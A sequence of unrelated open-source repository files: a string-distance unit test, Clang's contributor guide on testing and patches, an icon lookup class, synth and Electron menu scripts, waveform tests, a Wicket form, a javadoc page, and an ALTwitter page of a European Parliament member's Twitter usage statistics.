?> </td> </tr> </tfoot> </table> <?php endif; ?> </div>
gpl-3.0
chrislit/abydos
tests/distance/test_distance_ncd_bwtrle.py
2159
# Copyright 2014-2020 by Christopher C. Little. # This file is part of Abydos. # # Abydos is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Abydos is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Abydos. If not, see <http://www.gnu.org/licenses/>. """abydos.tests.distance.test_distance_ncd_bwtrle. This module contains unit tests for abydos.distance.NCDbwtrle """ import unittest from abydos.distance import NCDbwtrle class NCDbwtrleTestCases(unittest.TestCase): """Test compression distance functions. abydos.distance.NCDbwtrle """ cmp = NCDbwtrle() def test_ncd_bwtrle_dist(self): """Test abydos.distance.NCDbwtrle.dist.""" self.assertEqual(self.cmp.dist('', ''), 0) self.assertGreater(self.cmp.dist('a', ''), 0) self.assertGreater(self.cmp.dist('abcdefg', 'fg'), 0) self.assertAlmostEqual(self.cmp.dist('abc', 'abc'), 0) self.assertAlmostEqual(self.cmp.dist('abc', 'def'), 0.75) self.assertAlmostEqual( self.cmp.dist('banana', 'banane'), 0.57142857142 ) self.assertAlmostEqual(self.cmp.dist('bananas', 'bananen'), 0.5) def test_ncd_bwtrle_sim(self): """Test abydos.distance.NCDbwtrle.sim.""" self.assertEqual(self.cmp.sim('', ''), 1) self.assertLess(self.cmp.sim('a', ''), 1) self.assertLess(self.cmp.sim('abcdefg', 'fg'), 1) self.assertAlmostEqual(self.cmp.sim('abc', 'abc'), 1) self.assertAlmostEqual(self.cmp.sim('abc', 'def'), 0.25) self.assertAlmostEqual(self.cmp.sim('banana', 'banane'), 0.42857142857) self.assertAlmostEqual(self.cmp.sim('bananas', 'bananen'), 0.5) if __name__ == '__main__': unittest.main()
gpl-3.0
Bootz/multicore-opimization
llvm/tools/clang/www/hacking.html
13107
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <!-- Material used from: HTML 4.01 specs: http://www.w3.org/TR/html401/ --> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" /> <title>Hacking on clang</title> <link type="text/css" rel="stylesheet" href="menu.css" /> <link type="text/css" rel="stylesheet" href="content.css" /> </head> <body> <!--#include virtual="menu.html.incl"--> <div id="content"> <!--*********************************************************************--> <h1>Hacking on Clang</h1> <!--*********************************************************************--> <p>This document provides some hints for how to get started hacking on Clang for developers who are new to the Clang and/or LLVM codebases.</p> <ul> <li><a href="#style">Coding Standards</a></li> <li><a href="#docs">Developer Documentation</a></li> <li><a href="#debugging">Debugging</a></li> <li><a href="#testing">Testing</a></li> <ul> <li><a href="#testingNonWindows">Testing on Unix-like Systems</a></li> <li><a href="#testingWindows">Testing using Visual Studio on Windows</a></li> <li><a href="#testingCommands">Testing on the Command Line</a></li> </ul> <li><a href="#patches">Creating Patch Files</a></li> <li><a href="#irgen">LLVM IR Generation</a></li> </ul> <!--=====================================================================--> <h2 id="docs">Coding Standards</h2> <!--=====================================================================--> <p>Clang follows the LLVM <a href="http://llvm.org/docs/CodingStandards.html">Coding Standards</a>. When submitting patches, please take care to follow these standards and to match the style of the code to that present in Clang (for example, in terms of indentation, bracing, and statement spacing).</p> <p>Clang has a few additional coding standards:</p> <ul> <li><i>cstdio is forbidden</i>: library code should not output diagnostics or other information using <tt>cstdio</tt>; debugging routines should use <tt>llvm::errs()</tt>. Other uses of <tt>cstdio</tt> impose behavior upon clients and block integrating Clang as a library. Libraries should support <tt>raw_ostream</tt> based interfaces for textual output. See <a href="http://llvm.org/docs/CodingStandards.html#ll_raw_ostream">Coding Standards</a>.</li> </ul> <!--=====================================================================--> <h2 id="docs">Developer Documentation</h2> <!--=====================================================================--> <p>Both Clang and LLVM use doxygen to provide API documentation. Their respective web pages (generated nightly) are here:</p> <ul> <li><a href="http://clang.llvm.org/doxygen">Clang</a></li> <li><a href="http://llvm.org/doxygen">LLVM</a></li> </ul> <p>For work on the LLVM IR generation, the LLVM assembly language <a href="http://llvm.org/docs/LangRef.html">reference manual</a> is also useful.</p> <!--=====================================================================--> <h2 id="debugging">Debugging</h2> <!--=====================================================================--> <p>Inspecting data structures in a debugger:</p> <ul> <li>Many LLVM and Clang data structures provide a <tt>dump()</tt> method which will print a description of the data structure to <tt>stderr</tt>.</li> <li>The <a href="docs/InternalsManual.html#QualType"><tt>QualType</tt></a> structure is used pervasively. This is a simple value class for wrapping types with qualifiers; you can use the <tt>isConstQualified()</tt>, for example, to get one of the qualifiers, and the <tt>getTypePtr()</tt> method to get the wrapped <tt>Type*</tt> which you can then dump.</li> </ul> <!--=====================================================================--> <h3 id="debuggingVisualStudio">Debugging using Visual Studio</h3> <!--=====================================================================--> <p>The file <tt>utils/clangVisualizers.txt</tt> provides debugger visualizers that make debugging of more complex data types much easier.</p> <p>There are two ways to install them:</p> <ul> <li>Put the path to <tt>clangVisualizers.txt</tt> in the environment variable called <tt>_vcee_autoexp</tt>. This method should work for Visual Studio 2008 and above. </li> <li>Edit your local <tt>autoexp.dat</tt> (make sure you make a backup first!), located in <tt>Visual Studio Directory\Common7\Packages\Debugger</tt> and append the contents of <tt>clangVisuailzers.txt</tt> to it. This method should work for Visual Studio 2008 and above. </li> </ul> <p><i>[Note: To disable the visualizer for any specific variable, type <tt>variable_name,!</tt> inside the watch window.]</i></p> <!--=====================================================================--> <h2 id="testing">Testing</h2> <!--=====================================================================--> <p><i>[Note: The test running mechanism is currently under revision, so the following might change shortly.]</i></p> <!--=====================================================================--> <h3 id="testingNonWindows">Testing on Unix-like Systems</h3> <!--=====================================================================--> <p>Clang includes a basic regression suite in the tree which can be run with <tt>make test</tt> from the top-level clang directory, or just <tt>make</tt> in the <em>test</em> sub-directory. <tt>make VERBOSE=1</tt> can be used to show more detail about what is being run.</p> <p>If you built LLVM and Clang using CMake, the test suite can be run with <tt>make clang-test</tt> from the top-level LLVM directory.</p> <p>The tests primarily consist of a test runner script running the compiler under test on individual test files grouped in the directories under the test directory. The individual test files include comments at the beginning indicating the Clang compile options to use, to be read by the test runner. Embedded comments also can do things like telling the test runner that an error is expected at the current line. Any output files produced by the test will be placed under a created Output directory.</p> <p>During the run of <tt>make test</tt>, the terminal output will display a line similar to the following:</p> <ul><tt>--- Running clang tests for i686-pc-linux-gnu ---</tt></ul> <p>followed by a line continually overwritten with the current test file being compiled, and an overall completion percentage.</p> <p>After the <tt>make test</tt> run completes, the absence of any <tt>Failing Tests (count):</tt> message indicates that no tests failed unexpectedly. If any tests did fail, the <tt>Failing Tests (count):</tt> message will be followed by a list of the test source file paths that failed. For example:</p> <tt><pre> Failing Tests (3): /home/john/llvm/tools/clang/test/SemaCXX/member-name-lookup.cpp /home/john/llvm/tools/clang/test/SemaCXX/namespace-alias.cpp /home/john/llvm/tools/clang/test/SemaCXX/using-directive.cpp </pre></tt> <p>If you used the <tt>make VERBOSE=1</tt> option, the terminal output will reflect the error messages from the compiler and test runner.</p> <p>The regression suite can also be run with Valgrind by running <tt>make test VG=1</tt> in the top-level clang directory.</p> <p>For more intensive changes, running the <a href="http://llvm.org/docs/TestingGuide.html#testsuiterun">LLVM Test Suite</a> with clang is recommended. Currently the best way to override LLVMGCC, as in: <tt>make LLVMGCC="clang -std=gnu89" TEST=nightly report</tt> (make sure <tt>clang</tt> is in your PATH or use the full path).</p> <!--=====================================================================--> <h3 id="testingWindows">Testing using Visual Studio on Windows</h3> <!--=====================================================================--> <p>The Clang test suite can be run from either Visual Studio or the command line.</p> <p>Note that the test runner is based on Python, which must be installed. Find Python at: <a href="http://www.python.org/download/">http://www.python.org/download/</a>. Download the latest stable version (2.6.2 at the time of this writing).</p> <p>The GnuWin32 tools are also necessary for running the tests. Get them from <a href="http://getgnuwin32.sourceforge.net/"> http://getgnuwin32.sourceforge.net/</a>. If the environment variable <tt>%PATH%</tt> does not have GnuWin32, or if other grep(s) supercedes GnuWin32 on <tt>%PATH%,</tt> you should specify <tt>LLVM_LIT_TOOLS_DIR</tt> to CMake explicitly.</p> <p>The cmake build tool is set up to create Visual Studio project files for running the tests, "clang-test" being the root. Therefore, to run the test from Visual Studio, right-click the clang-test project and select "Build".</p> <p> Please see also <a href="http://llvm.org/docs/GettingStartedVS.html">Getting Started with the LLVM System using Microsoft Visual Studio</a> and <a href="http://llvm.org/docs/CMake.html">Building LLVM with CMake</a>. </p> <!--=====================================================================--> <h3 id="testingCommands">Testing on the Command Line</h3> <!--=====================================================================--> <p>To run all the tests from the command line, execute a command like the following:</p> <tt> python (path to llvm)/llvm/utils/lit/lit.py -sv --no-progress-bar (path to llvm)/llvm/tools/clang/test </tt> <p>For CMake builds e.g. on Windows with Visual Studio, you will need to specify your build configuration (Debug, Release, etc.) via <tt>--param=build_config=(build config)</tt>.</p> <p>To run a single test:</p> <tt> python (path to llvm)/llvm/utils/lit/lit.py -sv --no-progress-bar (path to llvm)/llvm/tools/clang/test/(dir)/(test) </tt> <p>For example:</p> <tt> python C:/Tools/llvm/utils/lit/lit.py -sv --no-progress-bar C:/Tools/llvm/tools/clang/test/Sema/wchar.c </tt> <p>The -sv option above tells the runner to show the test output if any tests failed, to help you determine the cause of failure.</p> <p>Your output might look something like this:</p> <tt><pre>lit.py: lit.cfg:152: note: using clang: 'C:/Tools/llvm/bin/Release\\clang.EXE' -- Testing: Testing: 2534 tests, 4 threads -- Testing: 0 .. 10.. 20.. 30.. 40.. 50.. 60.. 70.. 80.. 90.. Testing Time: 81.52s Expected Passes : 2503 Expected Failures : 28 Unsupported Tests : 3 </pre></tt> <p>The statistic, "Unexpected Failures" (not shown if all tests pass), is the important one.</p> <!--=====================================================================--> <h2 id="patches">Creating Patch Files</h2> <!--=====================================================================--> <p>To return changes to the Clang team, unless you have checkin privileges, the preferred way is to send patch files to the cfe-commits mailing list, with an explanation of what the patch is for. If your patch requires a wider discussion (for example, because it is an architectural change), you can use the cfe-dev mailing list. </p> <p>To create these patch files, change directory to the llvm/tools/clang root and run:</p> <ul><tt>svn diff (relative path) >(patch file name)</tt></ul> <p>For example, for getting the diffs of all of clang:</p> <ul><tt>svn diff . >~/mypatchfile.patch</tt></ul> <p>For example, for getting the diffs of a single file:</p> <ul><tt>svn diff lib/Parse/ParseDeclCXX.cpp >~/ParseDeclCXX.patch</tt></ul> <p>Note that the paths embedded in the patch depend on where you run it, so changing directory to the llvm/tools/clang directory is recommended.</p> <!--=====================================================================--> <h2 id="irgen">LLVM IR Generation</h2> <!--=====================================================================--> <p>The LLVM IR generation part of clang handles conversion of the AST nodes output by the Sema module to the LLVM Intermediate Representation (IR). Historically, this was referred to as "codegen", and the Clang code for this lives in <tt>lib/CodeGen</tt>.</p> <p>The output is most easily inspected using the <tt>-emit-llvm</tt> option to clang (possibly in conjunction with <tt>-o -</tt>). You can also use <tt>-emit-llvm-bc</tt> to write an LLVM bitcode file which can be processed by the suite of LLVM tools like <tt>llvm-dis</tt>, <tt>llvm-nm</tt>, etc. See the LLVM <a href="http://llvm.org/docs/CommandGuide/">Command Guide</a> for more information.</p> </div> </body> </html>
gpl-3.0
evilsocket/BBFlux
parsers/IconParser.py
2214
# -*- coding: utf-8 -*- # This file is part of BBFlux (BackBox XFCE -> FluxBox Menu Automatic Update Daemon). # # Copyright(c) 2010-2011 Simone Margaritelli # evilsocket@gmail.com - evilsocket@backbox.org # http://www.evilsocket.net # http://www.backbox.org # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import os import fnmatch class IconParser: __instance = None def __init__(self): self.cache = {} def __findIcon( self, path, pattern ): for root, dirnames, filenames in os.walk( path ): for filename in fnmatch.filter( filenames, pattern ): return os.path.join(root, filename) return None def getIconByName( self, name ): name = name.replace( '.png', '' ) if name is None or name == '': return None if name[0] == '/': return name elif self.cache.has_key(name): return self.cache[name] else: if os.path.exists( '/usr/share/pixmaps/' + name + '.png' ): self.cache[name] = '/usr/share/pixmaps/' + name + '.png' return '/usr/share/pixmaps/' + name + '.png' elif os.path.exists( '/usr/share/pixmaps/' + name + '.xpm' ): self.cache[name] = '/usr/share/pixmaps/' + name + '.xpm' return '/usr/share/pixmaps/' + name + '.xpm' else: icon = self.__findIcon( '/usr/share/icons', name + '.png' ) if icon is not None: self.cache[name] = icon else: icon = self.__findIcon( '/usr/share/icons', name + '.xpm' ) if icon is not None: self.cache[name] = icon return icon @classmethod def getInstance(cls): if cls.__instance is None: cls.__instance = IconParser() return cls.__instance
gpl-3.0
ruckert/web_audio_experiments
synth007/events.js
534
// Events document.onkeypress = function (e) { e = e || window.event; var key = e.key; return keymap[key](); }; // Mouse events document.onmousemove = function (e) { e = e || window.event; lfo.frequency.value = e.clientX; main_osc.frequency.value = e.clientY / 10; changeBackgroundColor(lfo_amp.gain.value/3.125, e.clientY, e.clientX); }; // Color events var changeBackgroundColor = function(red, green, blue) { document.body.style.backgroundColor = "rgb(" + red + "," + green + "," + blue + ")"; };
gpl-3.0
JodusNodus/syncthing-tray
app/main/menu/index.js
1367
import { Menu } from 'electron' import menuActions from './actions' import deviceItems from './devices' import folderItems from './folders' import { getDevicesWithConnections } from '../reducers/devices' import { getFoldersWithStatus } from '../reducers/folders' import { name, version } from '../../../package.json' export default function buildMenu({ st, state, state: { connected, config, }, }){ const devices = getDevicesWithConnections(state) const folders = getFoldersWithStatus(state) let menu = null const actions = menuActions(st) const sharedItems = [ { label: `${name} ${version}`, enabled: false }, { label: 'Restart Syncthing', click: actions.restart, accelerator: 'CommandOrControl+R' }, { label: 'Quit Syncthing', click: actions.quit, accelerator: 'CommandOrControl+Q' }, ] if(connected && config.isSuccess){ menu = Menu.buildFromTemplate([ ...folderItems(folders), { type: 'separator' }, ...deviceItems(devices), { type: 'separator' }, { label: 'Open...', click: actions.editConfig, accelerator: 'CommandOrControl+,' }, { type: 'separator' }, ...sharedItems, ]) }else{ menu = Menu.buildFromTemplate([ { label: config.isFailed ? 'No config available' : 'Connection error', enabled: false }, ...sharedItems, ]) } return menu }
gpl-3.0
timtammittee/thorns
tests/test_waves.py
1056
#!/usr/bin/env python # -*- coding: utf-8 -*- """Test thorns.waves module. """ from __future__ import division, absolute_import, print_function __author__ = "Marek Rudnicki" import numpy as np from numpy.testing import assert_equal import thorns.waves as wv def test_electrical_pulse_charge(): durations = [1, 1, 1] amplitudes = [-1, 2, -1] fs = 100 pulse = wv.electrical_pulse( fs=fs, amplitudes=amplitudes, durations=durations, charge=1 ) charge = np.sum(np.abs(pulse))/fs assert_equal(charge, 1) def test_electrical_amplitudes_2(): durations = [1, 0.5] amplitudes = wv.electrical_amplitudes( durations=durations, polarity=1, ) assert_equal(amplitudes, [0.5, -1]) def test_electrical_amplitudes_3(): durations = [0.5, 1, 0.5] ratio = 0.3 polarity = 1 amplitudes = wv.electrical_amplitudes( durations=durations, polarity=polarity, ratio=ratio ) assert_equal(amplitudes, [0.3, -0.5, 0.7])
gpl-3.0
E-IS/ucoinj
ucoinj-ui-wicket/src/main/java/io/ucoin/ucoinj/web/pages/registry/CurrencyRegistryPage.html
1721
<!-- #%L UCoin Java Client :: Web %% Copyright (C) 2014 - 2015 EIS %% This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/gpl-3.0.html>. #L% --> <html xmlns:wicket="http://git-wip-us.apache.org/repos/asf/wicket/repo?p=wicket.git;a=blob_plain;f=wicket-core/src/main/resources/META-INF/wicket-1.5.xsd;hb=master"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> </head> <body> <wicket:extend> <form action="http://localhost:8080/rest/currency/add" method="get"> <label for="text-pubkey"><wicket:message key="currency.register.pubkey"/></label> <input type="text" data-clear-btn="true" name="pubkey" id="text-pubkey" value=""/> <label for="text-currency"><wicket:message key="currency.register.currencyJson"/></label> <input type="text" data-clear-btn="true" name="currency" id="text-currency" value=""/> <label for="text-sig"><wicket:message key="currency.register.signature"/></label> <input type="text" data-clear-btn="true" name="sig" id="text-sig" value=""/> <input type="submit"/> </form> </wicket:extend> </body> </html>
gpl-3.0
yuhuei/REHUNT
REHUNT_v1.2_doc/bio/rehunt/rebase/class-use/REBASE.html
4265
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="zh"> <head> <!-- Generated by javadoc (1.8.0_144) on Sat Oct 14 12:47:35 CST 2017 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Uses of Class bio.rehunt.rebase.REBASE</title> <meta name="date" content="2017-10-14"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class bio.rehunt.rebase.REBASE"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../bio/rehunt/rebase/REBASE.html" title="class in bio.rehunt.rebase">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?bio/rehunt/rebase/class-use/REBASE.html" target="_top">Frames</a></li> <li><a href="REBASE.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <div class="header"> <h2 title="Uses of Class bio.rehunt.rebase.REBASE" class="title">Uses of Class<br>bio.rehunt.rebase.REBASE</h2> </div> <div class="classUseContainer">No usage of bio.rehunt.rebase.REBASE</div> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../bio/rehunt/rebase/REBASE.html" title="class in bio.rehunt.rebase">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../index.html?bio/rehunt/rebase/class-use/REBASE.html" target="_top">Frames</a></li> <li><a href="REBASE.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
gpl-3.0
sidtechnical/ALTwitter
pages/LilianaMEP.html
64619
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Liliana Rodrigues</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Description" lang="en" content="Haukna Metadata (2): Altwitter - Twitter metadata Profiles of the Members of the European Parliament"> <meta name="author" content="Sid Rao, Ford-Mozilla Open Web Fellow"> <meta name="robots" content="index, follow"> <!-- icons --> <link rel="apple-touch-icon" href="assets/img/apple-touch-icon.png"> <link rel="shortcut icon" href="../assets/img/ALTwitter.gif"> <!-- Bootstrap Core CSS file --> <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <!-- Override CSS file - add your own CSS rules --> <link rel="stylesheet" href="../assets/css/styles.css"> </head> <body> <!-- Navigation --> <nav class="navbar navbar-fixed-top navbar-inverse" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../index.html"><span class="glyphicon glyphicon-home"></span> <b>ALT</b>witter</a> </div> </div> <!-- /.container-fluid --> </nav> <!-- /.navbar --> <!-- Page Content --> <div class="container-fluid"> <div class="row"> <div class="col-sm-8 col-sm-push-4 "> <div class="panel panel-default"> <div class="panel-body" style="background-color:#87CEFA"><p>We analyzed 509 tweets from <span class="glyphicon glyphicon-time"></span> 2014-09-30 17:26:39 to <span class="glyphicon glyphicon-time"></span> 2017-04-12 13:10:51 (924 days). <b>326</b> out of these <b>509</b> tweets by <b>Liliana Rodrigues</b> were re-tweets, which is <b>64.0</b>%.</p> <p> Based on the metadata associated with these, we can understand Liliana Rodrigues's Twitter usage patterns on hourly or weekly basis, timezones, geo-location tags, devices that have been used, etc. </p> <p class="small text-center" style="font-weight:bold;">Created on <span class="glyphicon glyphicon-time"></span> 2017-04-14 15:36:15</p> </div> </div> <br> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Hourly Twitter activities according to the metadata.</h4> </div> <div class="panel-body"> <figure class="margin-b-2"> <img class="img-responsive" style="width:650px" src="../assets/img/hourly/LilianaMEP_hourly.svg" alt="Hourly Activities"> </figure> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Weekly Twitter activities according to the metadata.</h4> </div> <div class="panel-body"> <figure class="margin-b-2"> <img class="img-responsive" style="width:650px" src="../assets/img/weekly/LilianaMEP_weekly.svg" alt="Weekly Activities"> </figure> </div> </div> <div class="row"> <div class="col-md-6"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Top 5 most retweeted users</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> @PSnaEuropa </dt> <dd> 98 (30.1%)</dd> <dt> @antoniocostapm </dt> <dd> 19 (5.8%)</dd> <dt> @TheProgressives </dt> <dd> 15 (4.6%)</dd> <dt> @UNPOintl </dt> <dd> 14 (4.3%)</dd> <dt> @PE_Portugal </dt> <dd> 11 (3.4%)</dd> </dl> </div> </div> </div> <div class="col-md-6"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Top 5 most mentioned users</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> @LilianaMEP </dt> <dd> 159 (18.3%)</dd> <dt> @PSnaEuropa </dt> <dd> 104 (12.0%)</dd> <dt> @czorrinho </dt> <dd> 42 (4.8%)</dd> <dt> @psocialista </dt> <dd> 40 (4.6%)</dd> <dt> @AnaGomesMEP </dt> <dd> 39 (4.5%)</dd> </dl> </div> </div> </div> <div class="col-md-6"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Top 10 hashtags</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> #Ethiopia </dt> <dd> 11 (3.6%)</dd> <dt> #LGBTI </dt> <dd> 8 (2.6%)</dd> <dt> #Turkey </dt> <dd> 6 (2.0%)</dd> <dt> #IWD2015 </dt> <dd> 6 (2.0%)</dd> <dt> #EUdialogues </dt> <dd> 5 (1.6%)</dd> <dt> #Women </dt> <dd> 5 (1.6%)</dd> <dt> #EU </dt> <dd> 5 (1.6%)</dd> <dt> #RodriguesReport </dt> <dd> 5 (1.6%)</dd> <dt> #PEplenária </dt> <dd> 4 (1.3%)</dd> <dt> #IamwhatIam </dt> <dd> 4 (1.3%)</dd> </dl> </div> </div> </div> <div class="col-md-6"> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Most referenced websites</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> goo.gl </dt> <dd> 61 (30.3%)</dd> <dt> www.dnoticias.pt </dt> <dd> 23 (11.4%)</dd> <dt> www.youtube.com </dt> <dd> 17 (8.5%)</dd> <dt> bit.ly </dt> <dd> 13 (6.5%)</dd> <dt> youtu.be </dt> <dd> 5 (2.5%)</dd> <dt> trib.al </dt> <dd> 4 (2.0%)</dd> <dt> www.rtp.pt </dt> <dd> 3 (1.5%)</dd> <dt> www.publico.pt </dt> <dd> 3 (1.5%)</dd> <dt> europa.eu </dt> <dd> 3 (1.5%)</dd> <dt> www.facebook.com </dt> <dd> 3 (1.5%)</dd> </dl> </div> </div> </div> </div> <!-- Pager --> <nav> <ul class="pager"> <li class="previous"><a href="robertrochefort.html"><span class="glyphicon glyphicon-menu-left" aria-hidden="true"></span> Previous</a></li> <li class="next"><a href="MJRodriguesEU.html">Next <span class="glyphicon glyphicon-menu-right" aria-hidden="true"></span></a></li> </ul> </nav> </div> <div class="col-sm-4 col-sm-pull-8"> <figure class="margin-b-2"> <img class="img-responsive" width="300" height="300" src="../assets/img/profiles/LilianaMEP_prof_img.jpg" alt="Profile Image"> <figcaption class="margin-t-h"><h4 class="text-capitalize" style="font-weight: bold">Liliana Rodrigues</h4> <br> <b>@LilianaMEP</b> <br> Account created on <span class="glyphicon glyphicon-time"></span> Tuesday 30 September, 2014. </figcaption> </figure> <!-- Panel --> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title">Profile info</h4> </div> <div class="panel-body"> <p>From Philosophy to Politics - the life of a member of the European Parliament</p> <hr> <dl class="dl-horizontal"> <dt>Location</dt> <dd>Madeira Island and Brussels</dd> <dt>Following <span class="glyphicon glyphicon-user" style="color:#337ab7;"></span></dt><dd> 514</dd> <dt>Followers <span class="glyphicon glyphicon-user" style="color:#337ab7;"></span></dt><dd> 584</dd> <dt>Total Tweets</dt><dd> 509</dd> </dl> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title">Meta info</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt>Language</dt> <dd> PT</dd> <dt>Managed by multiple people?</dt> <dd> False</dd> <dt>Geo Enabled</dt> <dd> True</dd> <dt>Time Zone</dt> <dd> Lisbon</dd> <dt>UTC offset</dt> <dd> 3600</dd> <dt>Tweets /Day</dt> <dd> 0.6</dd> </dl> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Detected languages</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt class="text-uppercase"> pt </dt> <dd> 263 (51.8%)</dd> <dt class="text-uppercase"> en </dt> <dd> 169 (33.3%)</dd> <dt class="text-uppercase"> und </dt> <dd> 43 (8.5%)</dd> <dt class="text-uppercase"> es </dt> <dd> 17 (3.3%)</dd> <dt class="text-uppercase"> fr </dt> <dd> 9 (1.8%)</dd> </dl> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Detected Sources</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> Twitter for iPhone </dt> <dd> 290 (57.1%)</dd> <dt> Twitter for iPad </dt> <dd> 88 (17.3%)</dd> <dt> Twitter for Android </dt> <dd> 77 (15.2%)</dd> <dt> Twitter Web Client </dt> <dd> 52 (10.2%)</dd> <dt> Twitter for Websites </dt> <dd> 1 (0.2%)</dd> </dl> </div> </div> <div class="panel panel-default"> <div class="panel-heading"> <h4 class="panel-title" style="font-weight: bold">Detected places (52 found)</h4> </div> <div class="panel-body"> <dl class="dl-horizontal"> <dt> Brussels </dt> <dd> 19 (36.5%)</dd> <dt> Funchal </dt> <dd> 11 (21.2%)</dd> <dt> Strasbourg </dt> <dd> 7 (13.5%)</dd> <dt> Elsene </dt> <dd> 7 (13.5%)</dd> <dt> Lisbon </dt> <dd> 3 (5.8%)</dd> </dl> </div> </div> </div> </div> <!-- /.row --> <hr> <footer class="margin-tb-3 text-center"> <div class="row"> <div class="container"> <p>Made with <span class="glyphicon glyphicon-heart" style="color:red"></span> by <a href="https://twitter.com/sidnext2none">Sid 